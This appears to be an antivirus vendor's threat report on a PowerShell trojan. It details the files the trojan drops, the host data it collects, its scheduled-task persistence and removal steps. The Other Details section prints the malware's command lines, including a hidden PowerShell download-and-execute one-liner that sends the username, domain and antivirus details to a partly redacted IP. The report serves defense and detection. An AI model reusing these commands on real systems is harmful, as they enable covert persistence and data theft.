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Trojan.PS1.BOXTER.A

March 10, 2021
 Analysis by: Alyssa Christelle Ramos
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,323 bytes

File Type:

PS1

Memory Resident:

No

Initial Samples Received Date:

10 Mar 2021

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %System%\getmac.exe /FO CSV

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Dropping Routine

This Trojan drops the following files:

  • %User Temp%\ccc.log
  • %User Temp%\kkkk.log

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Information Theft

This Trojan gathers the following data:

  • Mac Address
  • installed AV
  • OS Version
  • OS architecture
  • Domain
  • Username
  • Date

Other Details

This Trojan does the following:

  • If Administrator role:
    • It connects to the following URL to download component loaded in its memory:
      • http://cdn.{BLOCKED}dn.net/p?hig{Date}
    • Creates scheduled task:
      • Task Name: Winnet
      • Trigger: Every 45 minutes
      • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
    • Adds the following process to create a scheduled task:
      • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
  • If not Administrator role:
    • It connects to the following URL to download component loaded in its memory:
      • http://cdn.{BLOCKED}dn.net/p?low{Date}
    • Creates scheduled task:
      • Task Name: Winnet
      • Trigger: Every 45 minutes
      • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
    • Adds the following process to create a scheduled task:
      • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
  • If %UserTemp\%kkkk.log does not exists, it creates the file and terminates powershell processes running on the machine
  • It adds the following process if no other instance of the program is running on the machine:
    • /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={mac address}av={av}version={OS version}bit={OS architecture}flag2={flag}domain={domain}user={username}PS={exeflag}

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

16.586.02

FIRST VSAPI PATTERN DATE:

10 Mar 2021

VSAPI OPR PATTERN File:

16.587.00

VSAPI OPR PATTERN Date:

11 Mar 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp%\ccc.log
  • %User Temp%\kkkk.log

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: Winnet
  • Task to be run: powershell -ep bypass -e {downloaded b64 encoded}

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.BOXTER.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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